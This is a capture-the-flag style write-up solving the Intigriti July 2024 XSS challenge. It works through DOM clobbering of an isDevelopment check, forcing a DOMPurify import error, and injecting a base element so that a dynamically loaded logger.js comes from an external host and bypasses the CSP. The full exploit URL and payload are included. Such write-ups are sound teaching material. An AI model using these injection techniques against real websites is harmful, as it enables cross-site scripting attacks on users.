Intigriti XSS Challenge – July 2024

Exploit URL:

https://challenge-0724.intigriti.io/challenge/303sec/?memo=%3Cbase%20href%3D%22https%3A%2F%2F303sec.com/inti/%22%3E%3Cb%20id%3D%27isDevelopment%27%3E%3C%2Fb%3E

Step 1: DOM Clobbering

Reviewing the challenge’s JavaScript and the CSP, it is evident that we need to make use of the injected logger.js script, as the CSP uses ‘strict-dynamic’, which allows trusted JavaScript to create new scripts dynamically, without the need for hashes.

However, in order to reach this code block, we first need to bypass the conditional for if isDevelopment

if (origin === "http://localhost") isDevelopment = true;
        if (isDevelopment) {

We can use the HTML injection in the memo parameter to create an element with the ID of ‘isDevelopment’, allowing us to pass this check due to DOM Clobbering. Most HTML elements with an ID in the DOM are automatically created as a global JavaScript variable, and can even overwrite variables! In this case, the conditional check for isDevelopment is effectively asking if it exists, which it does if we create an element with the ID of ‘isDevelopment’ (?memo=<b id=’isDevelopment’></b>)

Step 2: Forcing DOMPurify Error

The next codeblock uses DOMPurify, which is not relevant to our attack as we require the use of the catch block in order to inject a new script – even if we were able to bypass DOMPurify here, we would still not be able to execute JavaScript due to the CSP.

          try {
            const sanitizedMemo = DOMPurify.sanitize(sharedMemo);
            displayElement.innerHTML = sanitizedMemo;
          } catch (error)

However, the application uses a URL system that allows any URL beyond /challenge/ to return the same HTML. This allows us to force an error with the relative path for DOMPurify, by simply using any additional URL after /challenge, making the dompurify.js script import fail.

   <script
      integrity="sha256-bSjVkAbbcTI28KD1mUfs4dpQxuQ+V4WWUvdQWCI4iXw="
      src="**./dompurify.js**"
    ></script>

URL: https://challenge-0724.intigriti.io/challenge/303sec/?memo=<b id=’isDevelopment’></b>

Step 3: Replace the dynamic logger.js

For step 3, we need to control the logger.js script that is being dynamically added to the page, to bypass the CSP.

            const loggerScript = document.createElement("script");
            loggerScript.src = "./logger.js";
            loggerScript.onload = () => logError(error);
            document.head.appendChild(loggerScript);
          }

We can use the HTML Injection to create a base element, which allows the HTML document to define the base domain that relative paths use (https://developer.mozilla.org/en-US/docs/Web/HTML/Element/base). Note that DOMPurify is imported before we are able to inject HTML, preventing us from being able to bypass Step 2.

This base element can point to an attacker controlled domain, and the logger.js relative script import will then reference this attacker controlled domain. We can execute arbitrary JavaScript by creating the file ‘logger.js’ containing any JavaScript – in this case, a benign alert(document.domain) is hosted at https://303sec.com/inti/logger.js.

Final unencoded payload: <base href="https://303sec.com/inti/"><b id='isDevelopment'></b>

Exploit URL:
https://challenge-0724.intigriti.io/challenge/303sec/?memo=%3Cbase%20href%3D%22https%3A%2F%2F303sec.com/inti/%22%3E%3Cb%20id%3D%27isDevelopment%27%3E%3C%2Fb%3E